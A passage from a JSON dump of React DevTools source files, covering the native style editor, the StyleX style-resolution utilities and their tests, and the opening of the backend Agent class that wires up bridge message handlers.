} else {\n    const styleForBottom = style[prefix + 'Bottom'];\n    if (styleForBottom != null) {\n      result.bottom = styleForBottom;\n      hasParts = true;\n    }\n\n    const styleForTop = style[prefix + 'Top'];\n    if (styleForTop != null) {\n      result.top = styleForTop;\n      hasParts = true;\n    }\n  }\n\n  return hasParts ? result : null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport Agent from 'react-devtools-shared/src/backend/agent';\nimport resolveBoxStyle from './resolveBoxStyle';\nimport isArray from 'react-devtools-shared/src/isArray';\n\nimport type {BackendBridge} from 'react-devtools-shared/src/bridge';\nimport type {RendererID} from '../types';\nimport type {StyleAndLayout} from './types';\n\nexport type ResolveNativeStyle = (stylesheetID: any) => ?Object;\nexport type SetupNativeStyleEditor = typeof setupNativeStyleEditor;\n\nexport default function setupNativeStyleEditor(\n  bridge: BackendBridge,\n  agent: Agent,\n  resolveNativeStyle: ResolveNativeStyle,\n  validAttributes?: $ReadOnlyArray<string> | null,\n) {\n  bridge.addListener(\n    'NativeStyleEditor_measure',\n    ({id, rendererID}: {id: number, rendererID: RendererID}) => {\n      measureStyle(agent, bridge, resolveNativeStyle, id, rendererID);\n    },\n  );\n\n  bridge.addListener(\n    'NativeStyleEditor_renameAttribute',\n    ({\n      id,\n      rendererID,\n      oldName,\n      newName,\n      value,\n    }: {\n      id: number,\n      rendererID: RendererID,\n      oldName: string,\n      newName: string,\n      value: string,\n    }) => {\n      renameStyle(agent, id, rendererID, oldName, newName, value);\n      setTimeout(() =>\n        measureStyle(agent, bridge, resolveNativeStyle, id, rendererID),\n      );\n    },\n  );\n\n  bridge.addListener(\n    'NativeStyleEditor_setValue',\n    ({\n      id,\n      rendererID,\n      name,\n      value,\n    }: {\n      id: number,\n      rendererID: number,\n      name: string,\n      value: string,\n    }) => {\n      setStyle(agent, id, rendererID, name, value);\n      setTimeout(() =>\n        measureStyle(agent, bridge, resolveNativeStyle, id, rendererID),\n      );\n    },\n  );\n\n  bridge.send('isNativeStyleEditorSupported', {\n    isSupported: true,\n    validAttributes,\n  });\n}\n\nconst EMPTY_BOX_STYLE = {\n  top: 0,\n  left: 0,\n  right: 0,\n  bottom: 0,\n};\n\nconst componentIDToStyleOverrides: Map<number, Object> = new Map();\n\nfunction measureStyle(\n  agent: Agent,\n  bridge: BackendBridge,\n  resolveNativeStyle: ResolveNativeStyle,\n  id: number,\n  rendererID: RendererID,\n) {\n  const data = agent.getInstanceAndStyle({id, rendererID});\n  if (!data || !data.style) {\n    bridge.send(\n      'NativeStyleEditor_styleAndLayout',\n      ({\n        id,\n        layout: null,\n        style: null,\n      }: StyleAndLayout),\n    );\n    return;\n  }\n\n  const {instance, style} = data;\n\n  let resolvedStyle = resolveNativeStyle(style);\n\n  // If it's a host component we edited before, amend styles.\n  const styleOverrides = componentIDToStyleOverrides.get(id);\n  if (styleOverrides != null) {\n    resolvedStyle = Object.assign({}, resolvedStyle, styleOverrides);\n  }\n\n  if (!instance || typeof instance.measure !== 'function') {\n    bridge.send(\n      'NativeStyleEditor_styleAndLayout',\n      ({\n        id,\n        layout: null,\n        style: resolvedStyle || null,\n      }: StyleAndLayout),\n    );\n    return;\n  }\n\n  instance.measure((x, y, width, height, left, top) => {\n    // RN Android sometimes returns undefined here. Don't send measurements in this case.\n    // https://github.com/jhen0409/react-native-debugger/issues/84#issuecomment-304611817\n    if (typeof x !== 'number') {\n      bridge.send(\n        'NativeStyleEditor_styleAndLayout',\n        ({\n          id,\n          layout: null,\n          style: resolvedStyle || null,\n        }: StyleAndLayout),\n      );\n      return;\n    }\n    const margin =\n      (resolvedStyle != null && resolveBoxStyle('margin', resolvedStyle)) ||\n      EMPTY_BOX_STYLE;\n    const padding =\n      (resolvedStyle != null && resolveBoxStyle('padding', resolvedStyle)) ||\n      EMPTY_BOX_STYLE;\n    bridge.send(\n      'NativeStyleEditor_styleAndLayout',\n      ({\n        id,\n        layout: {\n          x,\n          y,\n          width,\n          height,\n          left,\n          top,\n          margin,\n          padding,\n        },\n        style: resolvedStyle || null,\n      }: StyleAndLayout),\n    );\n  });\n}\n\nfunction shallowClone(object: Object): Object {\n  const cloned: {[string]: $FlowFixMe} = {};\n  for (const n in object) {\n    cloned[n] = object[n];\n  }\n  return cloned;\n}\n\nfunction renameStyle(\n  agent: Agent,\n  id: number,\n  rendererID: RendererID,\n  oldName: string,\n  newName: string,\n  value: string,\n): void {\n  const data = agent.getInstanceAndStyle({id, rendererID});\n  if (!data || !data.style) {\n    return;\n  }\n\n  const {instance, style} = data;\n\n  const newStyle = newName\n    ? {[oldName]: (undefined: string | void), [newName]: value}\n    : {[oldName]: undefined};\n\n  let customStyle;\n\n  // TODO It would be nice if the renderer interface abstracted this away somehow.\n  if (instance !== null && typeof instance.setNativeProps === 'function') {\n    // In the case of a host component, we need to use setNativeProps().\n    // Remember to \"correct\" resolved styles when we read them next time.\n    const styleOverrides = componentIDToStyleOverrides.get(id);\n    if (!styleOverrides) {\n      componentIDToStyleOverrides.set(id, newStyle);\n    } else {\n      Object.assign(styleOverrides, newStyle);\n    }\n    // TODO Fabric does not support setNativeProps; chat with Sebastian or Eli\n    instance.setNativeProps({style: newStyle});\n  } else if (isArray(style)) {\n    const lastIndex = style.length - 1;\n    if (typeof style[lastIndex] === 'object' && !isArray(style[lastIndex])) {\n      customStyle = shallowClone(style[lastIndex]);\n      delete customStyle[oldName];\n      if (newName) {\n        customStyle[newName] = value;\n      } else {\n        customStyle[oldName] = undefined;\n      }\n\n      agent.overrideValueAtPath({\n        type: 'props',\n        id,\n        rendererID,\n        path: ['style', lastIndex],\n        value: customStyle,\n      });\n    } else {\n      agent.overrideValueAtPath({\n        type: 'props',\n        id,\n        rendererID,\n        path: ['style'],\n        value: style.concat([newStyle]),\n      });\n    }\n  } else if (typeof style === 'object') {\n    customStyle = shallowClone(style);\n    delete customStyle[oldName];\n    if (newName) {\n      customStyle[newName] = value;\n    } else {\n      customStyle[oldName] = undefined;\n    }\n\n    agent.overrideValueAtPath({\n      type: 'props',\n      id,\n      rendererID,\n      path: ['style'],\n      value: customStyle,\n    });\n  } else {\n    agent.overrideValueAtPath({\n      type: 'props',\n      id,\n      rendererID,\n      path: ['style'],\n      value: [style, newStyle],\n    });\n  }\n\n  agent.emit('hideNativeHighlight');\n}\n\nfunction setStyle(\n  agent: Agent,\n  id: number,\n  rendererID: RendererID,\n  name: string,\n  value: string,\n) {\n  const data = agent.getInstanceAndStyle({id, rendererID});\n  if (!data || !data.style) {\n    return;\n  }\n\n  const {instance, style} = data;\n  const newStyle = {[name]: value};\n\n  // TODO It would be nice if the renderer interface abstracted this away somehow.\n  if (instance !== null && typeof instance.setNativeProps === 'function') {\n    // In the case of a host component, we need to use setNativeProps().\n    // Remember to \"correct\" resolved styles when we read them next time.\n    const styleOverrides = componentIDToStyleOverrides.get(id);\n    if (!styleOverrides) {\n      componentIDToStyleOverrides.set(id, newStyle);\n    } else {\n      Object.assign(styleOverrides, newStyle);\n    }\n    // TODO Fabric does not support setNativeProps; chat with Sebastian or Eli\n    instance.setNativeProps({style: newStyle});\n  } else if (isArray(style)) {\n    const lastLength = style.length - 1;\n    if (typeof style[lastLength] === 'object' && !isArray(style[lastLength])) {\n      agent.overrideValueAtPath({\n        type: 'props',\n        id,\n        rendererID,\n        path: ['style', lastLength, name],\n        value,\n      });\n    } else {\n      agent.overrideValueAtPath({\n        type: 'props',\n        id,\n        rendererID,\n        path: ['style'],\n        value: style.concat([newStyle]),\n      });\n    }\n  } else {\n    agent.overrideValueAtPath({\n      type: 'props',\n      id,\n      rendererID,\n      path: ['style'],\n      value: [style, newStyle],\n    });\n  }\n\n  agent.emit('hideNativeHighlight');\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/NativeStyleEditor/types.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport type BoxStyle = $ReadOnly<{\n  bottom: number,\n  left: number,\n  right: number,\n  top: number,\n}>;\n\nexport type Layout = {\n  x: number,\n  y: number,\n  width: number,\n  height: number,\n  left: number,\n  top: number,\n  margin: BoxStyle,\n  padding: BoxStyle,\n};\n\nexport type Style = Object;\n\nexport type StyleAndLayout = {\n  id: number,\n  style: Style | null,\n  layout: Layout | null,\n};\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/StyleX/__tests__/utils-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ndescribe('Stylex plugin utils', () => {\n  let getStyleXData;\n  let styleElements;\n\n  function defineStyles(style) {\n    const styleElement = document.createElement('style');\n    styleElement.type = 'text/css';\n    styleElement.appendChild(document.createTextNode(style));\n\n    styleElements.push(styleElement);\n\n    document.head.appendChild(styleElement);\n  }\n\n  beforeEach(() => {\n    getStyleXData = require('../utils').getStyleXData;\n\n    styleElements = [];\n  });\n\n  afterEach(() => {\n    styleElements.forEach(styleElement => {\n      document.head.removeChild(styleElement);\n    });\n  });\n\n  it('should gracefully handle empty values', () => {\n    expect(getStyleXData(null)).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {},\n        \"sources\": [],\n      }\n    `);\n\n    expect(getStyleXData(undefined)).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {},\n        \"sources\": [],\n      }\n    `);\n\n    expect(getStyleXData('')).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {},\n        \"sources\": [],\n      }\n    `);\n\n    expect(getStyleXData([undefined])).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {},\n        \"sources\": [],\n      }\n    `);\n  });\n\n  it('should support simple style objects', () => {\n    defineStyles(`\n      .foo {\n        display: flex;\n      }\n      .bar: {\n        align-items: center;\n      }\n      .baz {\n        flex-direction: center;\n      }\n    `);\n\n    expect(\n      getStyleXData({\n        // The source/module styles are defined in\n        Example__style: 'Example__style',\n\n        // Map of CSS style to StyleX class name, booleans, or nested structures\n        display: 'foo',\n        flexDirection: 'baz',\n        alignItems: 'bar',\n      }),\n    ).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {\n          \"alignItems\": \"center\",\n          \"display\": \"flex\",\n          \"flexDirection\": \"center\",\n        },\n        \"sources\": [\n          \"Example__style\",\n        ],\n      }\n    `);\n  });\n\n  it('should support multiple style objects', () => {\n    defineStyles(`\n      .foo {\n        display: flex;\n      }\n      .bar: {\n        align-items: center;\n      }\n      .baz {\n        flex-direction: center;\n      }\n    `);\n\n    expect(\n      getStyleXData([\n        {Example1__style: 'Example1__style', display: 'foo'},\n        {\n          Example2__style: 'Example2__style',\n          flexDirection: 'baz',\n          alignItems: 'bar',\n        },\n      ]),\n    ).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {\n          \"alignItems\": \"center\",\n          \"display\": \"flex\",\n          \"flexDirection\": \"center\",\n        },\n        \"sources\": [\n          \"Example1__style\",\n          \"Example2__style\",\n        ],\n      }\n    `);\n  });\n\n  it('should filter empty rules', () => {\n    defineStyles(`\n      .foo {\n        display: flex;\n      }\n      .bar: {\n        align-items: center;\n      }\n      .baz {\n        flex-direction: center;\n      }\n    `);\n\n    expect(\n      getStyleXData([\n        false,\n        {Example1__style: 'Example1__style', display: 'foo'},\n        false,\n        false,\n        {\n          Example2__style: 'Example2__style',\n          flexDirection: 'baz',\n          alignItems: 'bar',\n        },\n        false,\n      ]),\n    ).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {\n          \"alignItems\": \"center\",\n          \"display\": \"flex\",\n          \"flexDirection\": \"center\",\n        },\n        \"sources\": [\n          \"Example1__style\",\n          \"Example2__style\",\n        ],\n      }\n    `);\n  });\n\n  it('should support pseudo-classes', () => {\n    defineStyles(`\n      .foo {\n        color: black;\n      }\n      .bar: {\n        color: blue;\n      }\n      .baz {\n        text-decoration: none;\n      }\n    `);\n\n    expect(\n      getStyleXData({\n        // The source/module styles are defined in\n        Example__style: 'Example__style',\n\n        // Map of CSS style to StyleX class name, booleans, or nested structures\n        color: 'foo',\n        ':hover': {\n          color: 'bar',\n          textDecoration: 'baz',\n        },\n      }),\n    ).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {\n          \":hover\": {\n            \"color\": \"blue\",\n            \"textDecoration\": \"none\",\n          },\n          \"color\": \"black\",\n        },\n        \"sources\": [\n          \"Example__style\",\n        ],\n      }\n    `);\n  });\n\n  it('should support nested selectors', () => {\n    defineStyles(`\n      .foo {\n        display: flex;\n      }\n      .bar: {\n        align-items: center;\n      }\n      .baz {\n        flex-direction: center;\n      }\n    `);\n\n    expect(\n      getStyleXData([\n        {Example1__style: 'Example1__style', display: 'foo'},\n        false,\n        [\n          false,\n          {Example2__style: 'Example2__style', flexDirection: 'baz'},\n          {Example3__style: 'Example3__style', alignItems: 'bar'},\n        ],\n        false,\n      ]),\n    ).toMatchInlineSnapshot(`\n      {\n        \"resolvedStyles\": {\n          \"alignItems\": \"center\",\n          \"display\": \"flex\",\n          \"flexDirection\": \"center\",\n        },\n        \"sources\": [\n          \"Example1__style\",\n          \"Example2__style\",\n          \"Example3__style\",\n        ],\n      }\n    `);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/StyleX/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {StyleXPlugin} from 'react-devtools-shared/src/frontend/types';\nimport isArray from 'react-devtools-shared/src/isArray';\n\nconst cachedStyleNameToValueMap: Map<string, string> = new Map();\n\nexport function getStyleXData(data: any): StyleXPlugin {\n  const sources = new Set<string>();\n  const resolvedStyles = {};\n\n  crawlData(data, sources, resolvedStyles);\n\n  return {\n    sources: Array.from(sources).sort(),\n    resolvedStyles,\n  };\n}\n\nexport function crawlData(\n  data: any,\n  sources: Set<string>,\n  resolvedStyles: Object,\n): void {\n  if (data == null) {\n    return;\n  }\n\n  if (isArray(data)) {\n    data.forEach(entry => {\n      if (entry == null) {\n        return;\n      }\n\n      if (isArray(entry)) {\n        crawlData(entry, sources, resolvedStyles);\n      } else {\n        crawlObjectProperties(entry, sources, resolvedStyles);\n      }\n    });\n  } else {\n    crawlObjectProperties(data, sources, resolvedStyles);\n  }\n\n  resolvedStyles = Object.fromEntries<string, any>(\n    Object.entries(resolvedStyles).sort(),\n  );\n}\n\nfunction crawlObjectProperties(\n  entry: Object,\n  sources: Set<string>,\n  resolvedStyles: Object,\n): void {\n  const keys = Object.keys(entry);\n  keys.forEach(key => {\n    const value = entry[key];\n    if (typeof value === 'string') {\n      if (key === value) {\n        // Special case; this key is the name of the style's source/file/module.\n        sources.add(key);\n      } else {\n        const propertyValue = getPropertyValueForStyleName(value);\n        if (propertyValue != null) {\n          resolvedStyles[key] = propertyValue;\n        }\n      }\n    } else {\n      const nestedStyle = {};\n      resolvedStyles[key] = nestedStyle;\n      crawlData([value], sources, nestedStyle);\n    }\n  });\n}\n\nfunction getPropertyValueForStyleName(styleName: string): string | null {\n  if (cachedStyleNameToValueMap.has(styleName)) {\n    return ((cachedStyleNameToValueMap.get(styleName): any): string);\n  }\n\n  for (\n    let styleSheetIndex = 0;\n    styleSheetIndex < document.styleSheets.length;\n    styleSheetIndex++\n  ) {\n    const styleSheet = ((document.styleSheets[\n      styleSheetIndex\n    ]: any): CSSStyleSheet);\n    let rules: CSSRuleList | null = null;\n    // this might throw if CORS rules are enforced https://www.w3.org/TR/cssom-1/#the-cssstylesheet-interface\n    try {\n      rules = styleSheet.cssRules;\n    } catch (_e) {\n      continue;\n    }\n\n    for (let ruleIndex = 0; ruleIndex < rules.length; ruleIndex++) {\n      if (!(rules[ruleIndex] instanceof CSSStyleRule)) {\n        continue;\n      }\n      const rule = ((rules[ruleIndex]: any): CSSStyleRule);\n      const {cssText, selectorText, style} = rule;\n\n      if (selectorText != null) {\n        if (selectorText.startsWith(`.${styleName}`)) {\n          const match = cssText.match(/{ *([a-z\\-]+):/);\n          if (match !== null) {\n            const property = match[1];\n            const value = style.getPropertyValue(property);\n\n            cachedStyleNameToValueMap.set(styleName, value);\n\n            return value;\n          } else {\n            return null;\n          }\n        }\n      }\n    }\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/backend/agent.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport EventEmitter from '../events';\nimport {\n  SESSION_STORAGE_LAST_SELECTION_KEY,\n  UNKNOWN_SUSPENDERS_NONE,\n  __DEBUG__,\n} from '../constants';\nimport setupHighlighter from './views/Highlighter';\nimport {\n  initialize as setupTraceUpdates,\n  toggleEnabled as setTraceUpdatesEnabled,\n} from './views/TraceUpdates';\nimport {currentBridgeProtocol} from 'react-devtools-shared/src/bridge';\n\nimport type {BackendBridge} from 'react-devtools-shared/src/bridge';\nimport type {\n  InstanceAndStyle,\n  HostInstance,\n  OwnersList,\n  PathFrame,\n  PathMatch,\n  RendererID,\n  RendererInterface,\n  DevToolsHookSettings,\n  InspectedElement,\n} from './types';\nimport type {\n  ComponentFilter,\n  DehydratedData,\n  ElementType,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {GroupItem} from './views/TraceUpdates/canvas';\nimport {isReactNativeEnvironment} from './utils';\nimport {\n  sessionStorageGetItem,\n  sessionStorageRemoveItem,\n  sessionStorageSetItem,\n} from '../storage';\n\nconst debug = (methodName: string, ...args: Array<string>) => {\n  if (__DEBUG__) {\n    console.log(\n      `%cAgent %c${methodName}`,\n      'color: purple; font-weight: bold;',\n      'font-weight: bold;',\n      ...args,\n    );\n  }\n};\n\ntype ElementAndRendererID = {\n  id: number,\n  rendererID: number,\n};\n\ntype StoreAsGlobalParams = {\n  count: number,\n  id: number,\n  path: Array<string | number>,\n  rendererID: number,\n};\n\ntype CopyElementParams = {\n  id: number,\n  path: Array<string | number>,\n  rendererID: number,\n};\n\ntype InspectElementParams = {\n  forceFullData: boolean,\n  id: number,\n  path: Array<string | number> | null,\n  rendererID: number,\n  requestID: number,\n};\n\ntype InspectScreenParams = {\n  forceFullData: boolean,\n  id: number,\n  path: Array<string | number> | null,\n  requestID: number,\n};\n\ntype OverrideHookParams = {\n  id: number,\n  hookID: number,\n  path: Array<string | number>,\n  rendererID: number,\n  wasForwarded?: boolean,\n  value: any,\n};\n\ntype SetInParams = {\n  id: number,\n  path: Array<string | number>,\n  rendererID: number,\n  wasForwarded?: boolean,\n  value: any,\n};\n\ntype PathType = 'props' | 'hooks' | 'state' | 'context';\n\ntype DeletePathParams = {\n  type: PathType,\n  hookID?: ?number,\n  id: number,\n  path: Array<string | number>,\n  rendererID: number,\n};\n\ntype RenamePathParams = {\n  type: PathType,\n  hookID?: ?number,\n  id: number,\n  oldPath: Array<string | number>,\n  newPath: Array<string | number>,\n  rendererID: number,\n};\n\ntype OverrideValueAtPathParams = {\n  type: PathType,\n  hookID?: ?number,\n  id: number,\n  path: Array<string | number>,\n  rendererID: number,\n  value: any,\n};\n\ntype OverrideErrorParams = {\n  id: number,\n  rendererID: number,\n  forceError: boolean,\n};\n\ntype OverrideSuspenseParams = {\n  id: number,\n  rendererID: number,\n  forceFallback: boolean,\n};\n\ntype OverrideSuspenseMilestoneParams = {\n  rendererID: number,\n  suspendedSet: Array<number>,\n};\n\ntype PersistedSelection = {\n  rendererID: number,\n  path: Array<PathFrame>,\n};\n\nfunction createEmptyInspectedScreen(\n  arbitraryRootID: number,\n  type: ElementType,\n): InspectedElement {\n  const suspendedBy: DehydratedData = {\n    cleaned: [],\n    data: [],\n    unserializable: [],\n  };\n  return {\n    // invariants\n    id: arbitraryRootID,\n    type: type,\n    // Properties we merge\n    isErrored: false,\n    errors: [],\n    warnings: [],\n    suspendedBy,\n    suspendedByRange: null,\n    // TODO: How to merge these?\n    unknownSuspenders: UNKNOWN_SUSPENDERS_NONE,\n    // Properties where merging doesn't make sense so we ignore them entirely in the UI\n    rootType: null,\n    plugins: {stylex: null},\n    nativeTag: null,\n    env: null,\n    source: null,\n    stack: null,\n    rendererPackageName: null,\n    rendererVersion: null,\n    // These don't make sense for a Root. They're just bottom values.\n    key: null,\n    canEditFunctionProps: false,\n    canEditHooks: false,\n    canEditFunctionPropsDeletePaths: false,\n    canEditFunctionPropsRenamePaths: false,\n    canEditHooksAndDeletePaths: false,\n    canEditHooksAndRenamePaths: false,\n    canToggleError: false,\n    canToggleSuspense: false,\n    isSuspended: false,\n    hasLegacyContext: false,\n    context: null,\n    hooks: null,\n    props: null,\n    state: null,\n    owners: null,\n  };\n}\n\nfunction mergeRoots(\n  left: InspectedElement,\n  right: InspectedElement,\n  suspendedByOffset: number,\n): void {\n  const leftSuspendedByRange = left.suspendedByRange;\n  const rightSuspendedByRange = right.suspendedByRange;\n\n  if (right.isErrored) {\n    left.isErrored = true;\n  }\n  for (let i = 0; i < right.errors.length; i++) {\n    left.errors.push(right.errors[i]);\n  }\n  for (let i = 0; i < right.warnings.length; i++) {\n    left.warnings.push(right.warnings[i]);\n  }\n\n  const leftSuspendedBy: DehydratedData = left.suspendedBy;\n  const {data, cleaned, unserializable} = (right.suspendedBy: DehydratedData);\n  const leftSuspendedByData = ((leftSuspendedBy.data: any): Array<mixed>);\n  const rightSuspendedByData = ((data: any): Array<mixed>);\n  for (let i = 0; i < rightSuspendedByData.length; i++) {\n    leftSuspendedByData.push(rightSuspendedByData[i]);\n  }\n  for (let i = 0; i < cleaned.length; i++) {\n    leftSuspendedBy.cleaned.push(\n      [suspendedByOffset + cleaned[i][0]].concat(cleaned[i].slice(1)),\n    );\n  }\n  for (let i = 0; i < unserializable.length; i++) {\n    leftSuspendedBy.unserializable.push(\n      [suspendedByOffset + unserializable[i][0]].concat(\n        unserializable[i].slice(1),\n      ),\n    );\n  }\n\n  if (rightSuspendedByRange !== null) {\n    if (leftSuspendedByRange === null) {\n      left.suspendedByRange = [\n        rightSuspendedByRange[0],\n        rightSuspendedByRange[1],\n      ];\n    } else {\n      if (rightSuspendedByRange[0] < leftSuspendedByRange[0]) {\n        leftSuspendedByRange[0] = rightSuspendedByRange[0];\n      }\n      if (rightSuspendedByRange[1] > leftSuspendedByRange[1]) {\n        leftSuspendedByRange[1] = rightSuspendedByRange[1];\n      }\n    }\n  }\n}\n\nexport default class Agent extends EventEmitter<{\n  hideNativeHighlight: [],\n  showNativeHighlight: [HostInstance],\n  startInspectingNative: [],\n  stopInspectingNative: [],\n  shutdown: [],\n  traceUpdates: [Set<HostInstance>],\n  drawTraceUpdates: [Array<HostInstance>],\n  drawGroupedTraceUpdatesWithNames: [Array<Array<GroupItem>>],\n  disableTraceUpdates: [],\n  getIfHasUnsupportedRendererVersion: [],\n  updateHookSettings: [$ReadOnly<DevToolsHookSettings>],\n  getHookSettings: [],\n}> {\n  _bridge: BackendBridge;\n  _isProfiling: boolean = false;\n  _rendererInterfaces: {[key: RendererID]: RendererInterface, ...} = {};\n  _persistedSelection: PersistedSelection | null = null;\n  _persistedSelectionMatch: PathMatch | null = null;\n  _traceUpdatesEnabled: boolean = false;\n  _onReloadAndProfile:\n    | ((recordChangeDescriptions: boolean, recordTimeline: boolean) => void)\n    | void;\n\n  constructor(\n    bridge: BackendBridge,\n    isProfiling: boolean = false,\n    onReloadAndProfile?: (\n      recordChangeDescriptions: boolean,\n      recordTimeline: boolean,\n    ) => void,\n  ) {\n    super();\n\n    this._isProfiling = isProfiling;\n    this._onReloadAndProfile = onReloadAndProfile;\n\n    const persistedSelectionString = sessionStorageGetItem(\n      SESSION_STORAGE_LAST_SELECTION_KEY,\n    );\n    if (persistedSelectionString != null) {\n      this._persistedSelection = JSON.parse(persistedSelectionString);\n    }\n\n    this._bridge = bridge;\n\n    bridge.addListener('clearErrorsAndWarnings', this.clearErrorsAndWarnings);\n    bridge.addListener('clearErrorsForElementID', this.clearErrorsForElementID);\n    bridge.addListener(\n      'clearWarningsForElementID',\n      this.clearWarningsForElementID,\n    );\n    bridge.addListener('copyElementPath', this.copyElementPath);\n    bridge.addListener('deletePath', this.deletePath);\n    bridge.addListener('getBackendVersion', this.getBackendVersion);\n    bridge.addListener('getBridgeProtocol', this.getBridgeProtocol);\n    bridge.addListener('getProfilingData', this.getProfilingData);\n    bridge.addListener('getProfilingStatus', this.getProfilingStatus);\n    bridge.addListener('getOwnersList', this.getOwnersList);\n    bridge.addListener('inspectElement', this.inspectElement);\n    bridge.addListener('inspectScreen', this.inspectScreen);\n    bridge.addListener('logElementToConsole', this.logElementToConsole);\n    bridge.addListener('overrideError', this.overrideError);\n    bridge.addListener('overrideSuspense', this.overrideSuspense);\n    bridge.addListener(\n      'overrideSuspenseMilestone',\n      this.overrideSuspenseMilestone,\n    );\n    bridge.addListener('overrideValueAtPath', this.overrideValueAtPath);\n    bridge.addListener('reloadAndProfile', this.reloadAndProfile);\n    bridge.addListener('renamePath', this.renamePath);\n    bridge.addListener('setTraceUpdatesEnabled', this.setTraceUpdatesEnabled);\n    bridge.addListener('startProfiling', this.startProfiling);\n    bridge.addListener('stopProfiling', this.stopProfiling);\n    bridge.addListener('storeAsGlobal', this.storeAsGlobal);\n    bridge.addListener(\n      'syncSelectionFromBuiltinElementsPanel',\n      this.syncSelectionFromBuiltinElementsPanel,\n    );\n    bridge.addListener('shutdown', this.shutdown);\n\n    bridge.addListener('updateHookSettings', this.updateHookSettings);\n    bridge.addListener('getHookSettings', this.getHookSettings);\n\n    bridge.addListener('updateComponentFilters', this.updateComponentFilters);\n    bridge.addListener('getEnvironmentNames', this.getEnvironmentNames);\n    bridge.addListener(\n      'getIfHasUnsupportedRendererVersion',\n      this.getIfHasUnsupportedRendererVersion,\n    );\n\n    // Temporarily support older standalone front-ends sending commands to newer embedded backends.\n    // We do this because React Native embeds the React DevTools backend,\n    // but cannot control which version of the frontend users use.\n    bridge.addListener('overrideContext', this.overrideContext);\n    bridge.addListener('overrideHookState', this.overrideHookState);\n    bridge.addListener('overrideProps', this.overrideProps);\n    bridge.addListener('overrideState', this.overrideState);\n\n    setupHighlighter(bridge, this);\n    setupTraceUpdates(this);\n\n    // By this time, Store should already be initialized and intercept events\n    bridge.send('backendInitialized');\n\n    if (this._isProfiling) {\n      bridge.send('profilingStatus', true);\n    }\n  }\n\n  get rendererInterfaces(): {[key: RendererID]: RendererInterface, ...} {\n    return this._rendererInterfaces;\n  }\n\n  clearErrorsAndWarnings: ({rendererID: RendererID}) => void = ({\n    rendererID,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\"`);\n    } else {\n      renderer.clearErrorsAndWarnings();\n    }\n  };\n\n  clearErrorsForElementID: ElementAndRendererID => void = ({\n    id,\n    rendererID,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\"`);\n    } else {\n      renderer.clearErrorsForElementID(id);\n    }\n  };\n\n  clearWarningsForElementID: ElementAndRendererID => void = ({\n    id,\n    rendererID,\n  }) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\"`);\n    } else {\n      renderer.clearWarningsForElementID(id);\n    }\n  };\n\n  copyElementPath: CopyElementParams => void = ({\n    id,\n    path,\n    rendererID,\n  }: CopyElementParams) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      const value = renderer.getSerializedElementValueByPath(id, path);\n\n      if (value != null) {\n        this._bridge.send('saveToClipboard', value);\n      } else {\n        console.warn(`Unable to obtain serialized value for element \"${id}\"`);\n      }\n    }\n  };\n\n  deletePath: DeletePathParams => void = ({\n    hookID,\n    id,\n    path,\n    rendererID,\n    type,\n  }: DeletePathParams) => {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\" for element \"${id}\"`);\n    } else {\n      renderer.deletePath(type, id, hookID, path);\n    }\n  };\n\n  getInstanceAndStyle({\n    id,\n    rendererID,\n  }: ElementAndRendererID): InstanceAndStyle | null {\n    const renderer = this._rendererInterfaces[rendererID];\n    if (renderer == null) {\n      console.warn(`Invalid renderer id \"${rendererID}\"`);\n      return null;\n    }\n    return renderer.getInstanceAndStyle(id);\n  }\n\n  getIDForHostInstance(\n    target: HostInstance,\n    onlySuspenseNodes?: boolean,\n  ): null | {id: number, rendererID: number} {\n    if (isReactNativeEnvironment() || typeof target.nodeType !== 'number') {\n      // In React Native or non-DOM we simply pick any renderer that has a match.\n      for (const rendererID in this._rendererInterfaces) {\n        const renderer = ((this._rendererInterfaces[\n          (rendererID: any)\n        ]: any): RendererInterface);\n        try {\n          const id = onlySuspenseNodes\n            ? renderer.getSuspenseNodeIDForHostInstance(target)\n            : renderer.getElementIDForHostInstance(target);\n          if (id !== null) {\n            return {\n              id: id,\n              rendererID: +rendererID,\n            };\n          }\n        } catch (error) {\n          // Some old React versions might throw if they can't find a match.\n          // If so we should ignore it...\n        }\n      }\n      return null;\n    } else {\n      // In the DOM we use a smarter mechanism to find the deepest a DOM 